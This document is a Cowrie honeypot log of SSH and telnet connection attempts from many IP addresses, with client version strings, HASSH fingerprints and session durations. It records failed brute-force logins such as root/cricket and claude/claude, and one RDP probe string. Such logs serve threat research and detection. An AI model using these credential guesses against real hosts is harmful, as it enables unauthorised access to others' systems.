{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":40272,"dst_ip":"159.203.135.109","dst_port":22,"session":"8800c61a3868","protocol":"ssh","message":"New connection: 181.47.9.103:40272 (159.203.135.109:22) [session: 8800c61a3868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:32.993570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:33.000419Z","src_ip":"181.47.9.103","session":"8800c61a3868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:33.143329Z","src_ip":"181.47.9.103","session":"8800c61a3868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:33.251864Z","src_ip":"115.178.75.242","session":"39b63c31a777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:33.747131Z","src_ip":"181.47.9.103","session":"8800c61a3868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:34.893196Z","src_ip":"181.47.9.103","session":"8800c61a3868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36988,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a72ca94030b","protocol":"ssh","message":"New connection: 103.176.20.57:36988 (10.17.0.5:22) [session: 1a72ca94030b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.086563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.092319Z","src_ip":"103.176.20.57","session":"1a72ca94030b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.341872Z","src_ip":"103.176.20.57","session":"1a72ca94030b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":38994,"dst_ip":"159.203.135.109","dst_port":22,"session":"59f986f8c1a7","protocol":"ssh","message":"New connection: 152.32.150.26:38994 (159.203.135.109:22) [session: 59f986f8c1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.525605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.529983Z","src_ip":"152.32.150.26","session":"59f986f8c1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.542520Z","src_ip":"152.32.150.26","session":"59f986f8c1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"261979","message":"login attempt [root/261979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:36.614759Z","src_ip":"152.32.150.26","session":"59f986f8c1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cricket","message":"login attempt [root/cricket] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:37.088578Z","src_ip":"103.176.20.57","session":"1a72ca94030b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:37.626095Z","src_ip":"152.32.150.26","session":"59f986f8c1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:38.338966Z","src_ip":"103.176.20.57","session":"1a72ca94030b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48936,"dst_ip":"159.203.135.109","dst_port":22,"session":"0185edcacdfe","protocol":"ssh","message":"New connection: 51.250.105.222:48936 (159.203.135.109:22) [session: 0185edcacdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:40.105066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:40.109004Z","src_ip":"51.250.105.222","session":"0185edcacdfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:40.233144Z","src_ip":"51.250.105.222","session":"0185edcacdfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:40.607256Z","src_ip":"51.250.105.222","session":"0185edcacdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:41.734999Z","src_ip":"51.250.105.222","session":"0185edcacdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37578,"dst_ip":"10.17.0.5","dst_port":23,"session":"22514a22c7b7","protocol":"telnet","message":"New connection: 192.119.13.58:37578 (10.17.0.5:23) [session: 22514a22c7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:46:49.287560Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54320,"dst_ip":"159.203.135.109","dst_port":22,"session":"441a7311370c","protocol":"ssh","message":"New connection: 152.42.212.128:54320 (159.203.135.109:22) [session: 441a7311370c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:05.196616Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:05.201347Z","src_ip":"152.42.212.128","session":"441a7311370c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:05.204930Z","src_ip":"152.42.212.128","session":"441a7311370c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":32914,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ddad6a609ff","protocol":"ssh","message":"New connection: 43.156.237.246:32914 (159.203.135.109:22) [session: 8ddad6a609ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:08.997515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:09.002231Z","src_ip":"43.156.237.246","session":"8ddad6a609ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:09.247758Z","src_ip":"43.156.237.246","session":"8ddad6a609ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boomer","message":"login attempt [root/boomer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:10.260808Z","src_ip":"43.156.237.246","session":"8ddad6a609ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":37142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f04c17ffa4ec","protocol":"ssh","message":"New connection: 43.153.0.59:37142 (159.203.135.109:22) [session: f04c17ffa4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:10.901778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:10.906520Z","src_ip":"43.153.0.59","session":"f04c17ffa4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:10.975147Z","src_ip":"43.153.0.59","session":"f04c17ffa4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hayashi","message":"login attempt [root/hayashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:11.279610Z","src_ip":"43.153.0.59","session":"f04c17ffa4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:11.510658Z","src_ip":"43.156.237.246","session":"8ddad6a609ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":40530,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7794083bf1","protocol":"ssh","message":"New connection: 184.94.212.80:40530 (159.203.135.109:22) [session: 1f7794083bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:12.267088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:12.271455Z","src_ip":"184.94.212.80","session":"1f7794083bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:12.335792Z","src_ip":"184.94.212.80","session":"1f7794083bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:12.351271Z","src_ip":"43.153.0.59","session":"f04c17ffa4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lan","message":"login attempt [root/lan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:12.622117Z","src_ip":"184.94.212.80","session":"1f7794083bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:13.688728Z","src_ip":"184.94.212.80","session":"1f7794083bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:15.527544Z","src_ip":"218.0.63.25","session":"ceeabbb5da6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":41318,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d31b2fab55","protocol":"ssh","message":"New connection: 163.227.230.54:41318 (159.203.135.109:22) [session: 90d31b2fab55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:17.635463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:17.640343Z","src_ip":"163.227.230.54","session":"90d31b2fab55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:17.888469Z","src_ip":"163.227.230.54","session":"90d31b2fab55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":59310,"dst_ip":"159.203.135.109","dst_port":22,"session":"0000da02d3bd","protocol":"ssh","message":"New connection: 207.154.230.149:59310 (159.203.135.109:22) [session: 0000da02d3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:47:18.791034Z"}
